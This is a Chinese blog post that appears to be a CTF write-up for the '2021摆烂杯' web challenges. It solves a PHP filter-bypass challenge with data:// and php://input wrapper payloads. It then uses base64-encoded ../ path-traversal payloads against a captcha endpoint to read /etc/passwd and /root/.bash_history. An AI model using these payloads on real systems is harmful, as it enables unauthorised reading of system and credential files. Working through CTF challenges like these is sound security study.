您现在的位置是:首页 >技术交流 >【2021摆烂杯】web网站首页技术交流

【2021摆烂杯】web

coleak 2024-06-14 17:17:09
简介【2021摆烂杯】web

web签到

php和python中都是用**来表示幂

请输入三个整数A、B、C,使得:
A³+B³+C³=114

这里整数解不出来,尝试用开三次方的方法绕过整数限制

(5)**3+(-1)**3+(-10**(1/3))**3=114.0

方法二

计算方式为A3+B3+C3=114
使用+0来绕过开头为0的判断
用括号来绕3次方
绕过我们A输入+114)+(0
B和C输入+0
整个式子就成了
(+114)+(0)**3+(+0)**3+(+0)**3 =114

一行代码

<?php
echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);

整理一下代码得到下面的逻辑

stripos($_GET['filename'],'.')===False

$_GET['id']=0

strlen($_GET['content'])>7

eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET['content'],0,1)=='w'===False
//可以用通配符.或者*绕过

file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"

这里是一个三目运算符,条件为真时输出flag,由于开头有个!,因此所有条件需要为假才能输出flag

eregi()函数大小写不敏感,这里可以用W来绕过;

?id=0&content=W1111111111&filename=data://text/plain,welcome2ctfshow

也可以换成input伪协议

get:?id=0&content=W111111111&filename=php://input

post:welcome2ctfshow

登陆不了

看了一圈内容,发现问题出在验证码这里,创建新页面打开

/v/c?r=YzgxZTcyOC5qcGc=
c81e728.jpg

任意文件下载(读取)漏洞

这里jpg给的是相对路径,盲猜是和前缀路径拼凑,因此读取需要用…/进行穿越

../../../../../../../../../../../etc/passwd
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
成功回显出passwd

尝试确定中间件,先看历史命令记录(隐藏文件的.前缀)

一般是查看.bash_history或者是.zsh_history
不知道用户名可以~/用,查看root的需要root权限
../../../../../../../../../../../~/.bash_history发现没有回显
../../../../../../../../../../../root/.bash_history
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcm9vdC8uYmFzaF9oaXN0b3J5
apache-tomcat-8.5.45
是java框架啊,不会,溜了

黑客网站

# @hint: flag不在这个服务器上,不用扫描,不用渗透
一直重复
tyro s4qw s3mm bubg jqje 46nc v35j aqjg eb3n qiuf 23ij oj4z wasx ohyd onion

用某葱浏览器访问

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。